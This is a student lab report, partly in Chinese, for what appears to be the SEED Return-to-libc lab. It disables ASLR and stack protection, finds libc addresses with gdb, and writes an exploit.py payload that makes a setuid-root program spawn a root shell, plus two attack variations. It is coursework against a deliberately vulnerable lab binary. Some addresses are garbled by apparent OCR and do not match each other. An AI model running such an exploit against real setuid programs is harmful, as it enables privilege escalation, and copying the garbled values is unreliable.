Lab3 Report

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实验内容及步骤:

1. Environment Setup

1) 关闭地址空间随机化:

```
[07/13/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[07/13/21]seed@VM:~$ ■
```

2) 在编译程序时,关闭栈保护机制(StackGuard Protection Scheme)

\$ gcc -m32 -fno-stack-protector example.c

3) 栈是默认不可执行的,但是可以通过以下指令来进行设置:

```
For executable stack:

$ gcc -m32 -z execstack -o test test.c

For non-executable stack:

$ gcc -m32 -z noexecstack -o test test.c
```

4) 为了防止执行指令之前 SETUID 程序被降权,我们将/bin/sh 链接到另一个 shell

\$ sudo ln -sf /bin/zsh /bin/sh

2.Task 1: Finding out the Addresses of libc Functions

1) 使用 gdb 工具调试目标程序 retlib, 结果成功打印出了 system 和 exit 的地址

```
[07/13/21]seed@VM:~/.../Labsetup$ touch badfile
[07/13/21]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal.
Did you mean "=="?
 if sys.version info.major is 3:
opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal.
Did you mean "=="?
 if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ break main
Breakpoint 1 at 0x12ef
gdb-peda$ run
Starting program: /home/seed/Return-to-Libc Attack Lab (32-bit)/Labset
up/retlib
                    -----registers-----
[-----
-----]
EAX: 0xf7fb6808 --> 0xffffd1cc --> 0xffffd3a4 ("SHELL=/bin/bash")
```

```
EBX: 0x0
ECX: 0xfc921a77
EDX: 0xffffd154 --> 0x0
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0x0
ESP: 0xffffd12c --> 0xf7debee5 (< libc start main+245>: add
esp,0x10)
EIP: 0x565562ef (<main>: endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction
overflow)
[-----
           -----code-----
  0x565562ed <foo+61>: leave
  0x565562ee <foo+62>: ret
=> 0x565562ef <main>: endbr32
  0x565562f3 <main+4>: lea ecx,[esp+0x4]
0x565562f7 <main+8>: and esp,0xfffffff0
0x565562fa <main+11>: push DWORD PTR [ecx-0x4]
0x565562fd <main+14>: push ebp
[-----stack-----
0000| 0xffffd12c --> 0xf7debee5 (<__libc_start_main+245>:
                                                            add
esp,0x10)
0004| 0xffffd130 --> 0x1
0008| 0xffffd134 --> 0xffffd1c4 --> 0xffffd366 ("/home/seed/Return-to-
Libc Attack Lab (32-bit)/Labsetup/retlib")
0012| 0xffffd138 --> 0xffffd1cc --> 0xffffd3a4 ("SHELL=/bin/bash")
0016| 0xffffd13c --> 0xffffd154 --> 0x0
0020| 0xffffd140 --> 0xf7fb4000 --> 0xle6d6c
0024 | 0xffffd144 --> 0xf7ffd000 --> 0x2bf24
0028| 0xffffd148 --> 0xffffd1a8 --> 0xffffd1c4 --> 0xffffd366 ("/home/
seed/Return-to-Libc Attack Lab (32-bit)/Labsetup/retlib")
----1
Legend: code, data, rodata, value
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$
3.Task 2: Putting the shell string in the memory
1) 定义一个新的 shell 变量 MYSHELL,将其赋值为字符串"/bin/sh"
[07/13/21]seed@VM:~$ export MYSHELL=/bin/sh
[07/13/21]seed@VM:~$ env | grep MYSHELL
MYSHELL=/bin/sh
[07/13/21]seed@VM:~$
```

2)编写一个程序 prtenv.c 用来打印环境变量,由于之前已经令 MYSHELL=/bin/sh,故打印的结果就是/bin/sh 的地址

```
prtenv.c
 Save ≡
 1#include<stdlib.h>
 2 #include<stdio.h>
 3 #include < string.h >
 4 void main()
 5 {
 6
           char* shell =getenv("MYSHELL");
 7
           if(shell)
 8
           {
 9
                   printf("%x\n",(unsigned int)shell);
10
           }
11 }
[07/13/21]seed@VM:~/.../Labsetup$ ./prtenv
ffffe3f9
[07/13/21]seed@VM:~/.../Labsetup$ ./prtenv
ffffe3f9
[07/13/21]seed@VM:~/.../Labsetup$
```

4.Task 3: Launching the Attack

1)用之前得到的 system, exit, /bin/sh 的地址修改 exploit.py 程序的 sh_addr, system_addr, exit addr

```
exploit.py
 Open ▼ 🗐
                                                     Save
                         ~/Return-to-Libc Attack Lab (32-bit)/Labsetup
 1#!/usr/bin/env python3
 2 import sys
 4# Fill content with non-zero values
 5 content = bytearray(0xaa for i in range(300))
 7 X = 36
 8 \text{ sh addr} = 0 \times ffffd3f9
                                 # The address of "/bin/sh"
 9 content[X:X+4] = (sh addr).to bytes(4,byteorder='little')
10
11Y = 28
12 system addr = 0xf7e12420
                                 # The address of system()
13 content[Y:Y+4] = (system addr).to bytes(4,byteorder='little')
14
15 Z = 32
16 \text{ exit addr} = 0 \times f7 = 0.4 f80
                                 # The address of exit()
17 content[Z:Z+4] = (exit addr).to bytes(4,byteorder='little')
19 # Save content to a file
20 with open("badfile", "wb") as f:
    f.write(content)
```

2) 执行 retlib 可以得到 buffer 地址和帧指针地址,两者之差为 24

Address of buffer[] inside bof(): 0xffffcd60 Frame Pointer value inside bof(): 0xffffcd78

3) 修改 exploit.py 中 X,Y,Z 的值,其中 X=24+12,Y=24+4,Z=24+8:

```
exploit.py
~/Return-to-Libc Attack Lab (32-bit)/Labsetup
 Open ▼ 🗐
                                                    Save ≡
 1#!/usr/bin/env python3
 2 import sys
 4# Fill content with non-zero values
 5 content = bytearray(0xaa for i in range(300))
 7X = 36
 8 sh addr = 0xffffd3f9  # The address of "/bin/sh"
 9 content[X:X+4] = (sh addr).to bytes(4,byteorder='little')
10
11Y = 28
12 system addr = 0xf7e12420 # The address of system()
13 content[Y:Y+4] = (system addr).to bytes(4,byteorder='little')
14
15 Z = 32
16 \text{ exit addr} = 0 \times f7 = 0.4 f80
                                # The address of exit()
17 content[Z:Z+4] = (exit addr).to bytes(4,byteorder='little')
19 # Save content to a file
20 with open("badfile", "wb") as f:
   f.write(content)
```

4) 执行 exploit.py, 然后再执行 retlib, 可以看到得到了新的终端:

```
seed@VM: ~/.../Labsetup
                                                        Q = - -
Frame Pointer value inside bof(): 0xffffcd78
[07/15/21]seed@VM:~/.../Labsetup$ make
make: Nothing to be done for 'all'.
[07/15/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF SIZE=12 -fno-stack-protector -z noexecstack -o retlib r
etlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/15/21]seed@VM:~/.../Labsetup$ python3 exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcd90
Input size: 300
Address of buffer[] inside bof(): 0xffffcd60
Frame Pointer value inside bof(): 0xffffcd78
[07/15/21]seed@VM:~/.../Labsetup$ gcc -m32 -fno-stack-protector -z noe
xecstack -o prtenv prtenv.c
[07/15/21]seed@VM:~/.../Labsetup$ prtenv
[07/15/21]seed@VM:~/.../Labsetup$ python3 exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcd90
Input size: 300
Address of buffer[] inside bof():
                                   0xffffcd60
Frame Pointer value inside bof(): 0xffffcd78
```

5) 变种攻击 1:

Attack variation 1: Is the exit() function really necessary? Please try your attack without including the address of this function in badfile. Run your attack again, report and explain your observations.

将 exploit.py 中有关 exit()函数的部分注释掉,再次执行攻击,可以观察到攻击仍然成功,但在退出时,会显示 Segmentation fault

```
exploit.py
                                                         Save
                           ~/Return-to-Libc Attack Lab (32-bit)/Labsetup
 1#!/usr/bin/env python3
 2 import sys
 4# Fill content with non-zero values
 5 content = bytearray(0xaa for i in range(300))
 7 X = 36
 8 \text{ sh addr} = 0 \times ffffd3f9
                                   # The address of "/bin/sh"
 9 content[X:X+4] = (sh addr).to bytes(4,byteorder='little')
10
11Y = 28
12 system addr = 0xf7e12420
                                   # The address of system()
13 content[Y:Y+4] = (system addr).to bytes(4,byteorder='little')
14
15 \# Z = 32
16 \# \text{exit} \text{ addr} = 0 \times 17 = 0 \times 17 = 0 \times 18 \times 10^{-1}
                                    # The address of exit()
17 #content[Z:Z+4] = (exit addr).to bytes(4,byteorder='little')
19 # Save content to a file
20 with open("badfile", "wb") as f:
21 f.write(content)
```

```
[07/15/21]seed@VM:~/.../Labsetup$ python3 exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main(): 0xffffcd90
Input size: 300
Address of buffer[] inside bof(): 0xffffcd60
Frame Pointer value inside bof(): 0xffffcd78
# exit
Segmentation fault
```

6) 变种攻击 2

Attack variation 2: After your attack is successful, change the file name of retlib to a different name, making sure that the length of the new file name is different. For example, you can change it to newretlib. Repeat the attack (without changing the content of badfile). Will your attack succeed or not? If it does not succeed, explain why.

将 retlib 改名为 newretlib,再次执行上述攻击,观察到攻击无法成功,且此时 buffer 的地址和帧指针的地址都有所变化。

```
[07/15/21]seed@VM:~/.../Labsetup$ python3 exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ ./newretlib
Address of input[] inside main(): 0xffffcd80
Input size: 300
Address of buffer[] inside bof(): 0xffffcd50
Frame Pointer value inside bof(): 0xffffcd68
zsh:1: command not found: h
[07/15/21]seed@VM:~/.../Labsetup$
```